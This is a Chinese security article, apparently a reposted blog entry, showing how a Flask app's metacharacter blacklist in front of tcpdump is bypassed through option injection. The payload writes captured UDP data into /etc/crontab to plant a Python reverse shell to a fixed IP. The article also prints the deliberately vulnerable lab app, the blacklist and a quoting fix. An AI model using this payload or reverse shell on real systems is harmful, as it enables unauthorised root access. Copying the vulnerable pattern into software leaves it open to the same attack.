0x01前言
对命令注入防御是采用危险字符过滤或者黑名单的方式,这样是否万事大吉?
并不是,对于一些可以加选项的命令,会有意想不到的威胁。
下面介绍tcpdump的危险字符黑名单的绕过及正确的防御方案介绍。
0x02代码分析
prevent_cmd_injection_list = [ "${", "$(", "$", "&", ";", "|", "%", "\", "`", """, "'", ">", "<"]
@app.route('/action', methods=['GET'])
def action():
NIC = request.args.get("NIC")
for i in prevent_cmd_injection_list:
if i in NIC:
return action_html.format("Illegal char")
cmd = "tcpdump -i {} -c 1 -vv -n -G 1".format(NIC)
res = subprocess.getoutput(cmd)
return action_html.format(res)
prevent_cmd_injection_list为防止命令注入的危险字符过滤的黑名单,会对从外部传来的NIC参数进行过滤效验是否包含危险字符,如果包含危险字符,cmd就不会被执行。
只有没有危险字符的参数才会被传入到cmd,然后执行命令。
此时如果用传统的命令注入方式,是没有办法注入成功的,那么需要我们另想其他方法,我们这时候就可以尝试采用tcpdump本身的选项特性来进行攻击
0x03tcpdump选项介绍
Ubuntu 安装tcpdump
sudo apt install -y tcpdump
CentOS安装tcpdump
yum -y install tcpdump
1.-i选项限制 tcpdump 抓包的端口
tcpdump -i any //对所有端口进行抓包
tcpdump -i eth0 //对eth0端口进行抓包
2.-c选项限制 tcpdump 抓包的数量
抓取5个包后自动停止
tcpdump -i any -c 5
3.指定抓取特定IP和特定端口
只抓取端口为22的流量,抓取5个后停止
tcpdump -i any -c5 port 22
抓取网络接口ens33,IP地址为172.16.87.137,端口22的流量。
tcpdump -i ens33 host 172.16.87.137 and port 22
4.根据协议过滤
在命令中指定协议便可以按照协议类型来筛选数据包。比方说用如下命令只要抓取 ICMP 报文:
tcpdump -i any -c5 icmp
在某台电脑上ping这台Linux服务器
ping centos7
5. -A选项显示数据包的详细信息
在以上的示例中,我们只按数据包头部的信息来建立规则筛选数据包,例如源地址、目的地址、端口号等等。有时我们需要分析网络连接问题,可能需要分析数据包中的内容来判断什么内容需要被发送、什么内容需要被接收等。tcpdump 提供了两个选项可以查看数据包内容,-X 以十六进制打印出数据报文内容,-A 打印数据报文的 ASCII 值。
tcpdump -i any -c10 -nn -A port 80
6. -w选项保存抓包内容
tcpdump 提供了保存抓包数据的功能以便后续分析数据包。例如,你可以结合Linux计划任务在指定时间抓包,然后早上起来再去分析它。同样当有很多数据包时,显示过快也不利于分析,将数据包保存下来,更有利于分析问题。
使用 -w 选项来保存数据包而不是在屏幕上显示出抓取的数据包:
抓取任意接口的流量,端口为80,抓取10个包后自动停止,保存文件为sample.pcap。
tcpdump -i any -c10 -nn -w sample.pcap port 80
为什么要保存后缀名为.pcap,是因为它于wireshark兼容,也就是说,你可以使用wireshark图形界面版的软件打开它。
0x04攻击复现
1.靶机环境搭建
采用flask+docker的方式来搭建靶机环境
Dockerfile
FROM jcdemo/flaskapp:ubuntu
RUN apt update&&apt install tcpdump -y
EXPOSE 5000/tcp
RUN rm -rf /src/app.py
COPY ./app.py /src/app.py
app.py
from flask import Flask, request
import subprocess
app = Flask(__name__)
hello_html = """
<html lang="en">
<head>
<meta charset="UTF-8">
<title>sangfor-ctf</title>
</head>
<body>
<h3>测试网卡抓包</h3>
<div>
<form action="/action" method="get">
<div>
TCPDUMP:
<!-- 下拉框 -->
<select name="NIC">
<option value="eth0">eth0</option>
</select>
</div>
<p>
<input type="submit" value="提交">
</form>
</div>
</body>
</html>
"""
action_html = """
<html lang="en">
<head>
<meta charset="UTF-8">
<title>sangfor-ctf</title>
</head>
<body>
<h3>测试网卡抓包</h3>
<div>
<form action="/action" method="get">
<div>
TCPDUMP:
<!-- 下拉框 -->
<select name="NIC">
<option value="eth0">eth0</option>
</select>
</div>
<p>
<input type="submit" value="提交">
</form>
</div>
<h1>{}</h1>
</body>
</html>
"""
@app.route('/')
def hello():
return hello_html
prevent_cmd_injection_list = [ "${", "$(", "$", "&", ";", "|", "%", "\", "`", """, "'", ">", "<"]
@app.route('/action', methods=['GET'])
def action():
NIC = request.args.get("NIC")
for i in prevent_cmd_injection_list:
if i in NIC:
return action_html.format("Illegal char")
cmd = "tcpdump -i {} -c 1 -vv -n -G 1".format(NIC)
res = subprocess.getoutput(cmd)
return action_html.format(res)
if __name__ == '__main__':
app.run(host='0.0.0.0')
将Dockerfile和app.py放在同一目录,执行:
docker build -t tcpdump:demo .
然后将制作的镜像run起来,5000为flask的web端口,5002为留的tcp端口,5001为留的udp端口,后续有用:
docker run -d -p8080:5000 -p5002:5002 -p5001:5001/udp --name tcpdump_test tcpdump:demo
访问IP:8080就可以访问到靶机环境了:
2.poyload编写
payload如下,不包含任何黑名单里的字符:
NIC=any -c 1 -vv -n -G 1 -A -w /etc/crontab #
点击提交拦截,添加url编码之后的payload:
那么拼接之后的cmd为:
cmd = "tcpdump -i any -c 1 -vv -n -G 1 -A -w /etc/crontab # -c 1 -vv -n -G 1"
基本思路:
利用-w选项重写文件进行覆盖,保存为/etc/crontab
利用-A选项来保留数据 ASCII 值,否则数据乱码
利用-i选项来监听任意网口和端口
利用#注释掉cmd后多余的命令
那么此时,靶机抓包数据,然后保存在/etc/crontab文件内,那么我们就可以写入定时任务来反弹shell了
3.攻击机执行攻击
此时靶机正在抓包,利用nc向靶机发送数据包:
echo payload.txt | nc -u ip port
payload.txt内容,采用的python脚本反弹shell的方式,注意更换s.connect里的ip和port:
* * * * * root python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
这样靶机监听到报文,就会把报文以ASCII的方式保存在/etc/crontab文件里,就变成了上述payload.txt的内容了
靶机的/ect/crontab:
容器里没有安装cron,可以自己手动安装,即可反弹shell
注意:我们为什么用nc -u,这个的意思是向靶机发送udp数据报文,这是因为在执行攻击时,是有讲究的,如果向靶机发送TCP的数据包,那么保存下来的文件是乱码的,定时任务没办法被执行,所以选择udp发包
0x05防御方案
过滤字危险字符并不是标准防御手段,由tcpdump案例即可看出依然能拿到shell
那么类似问题要怎么防御?
如下代码,将要拼接的变量外包裹一层单引号,然后再过滤或转义变量内的单引号即可
cmd = "tcpdump -i {} -c 1 -vv -n -G 1".format(NIC)
==
cmd = "tcpdump -i '{}' -c 1 -vv -n -G 1".format(NIC)
针对Python的整体解决示例如下,字符串变量只需要做一步即可:
s = "'" + s.replace("'", "'"'"'") + "'"
原文始发于微信公众号(98KSec):tcpdump黑名单字符绕过及防御方案
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论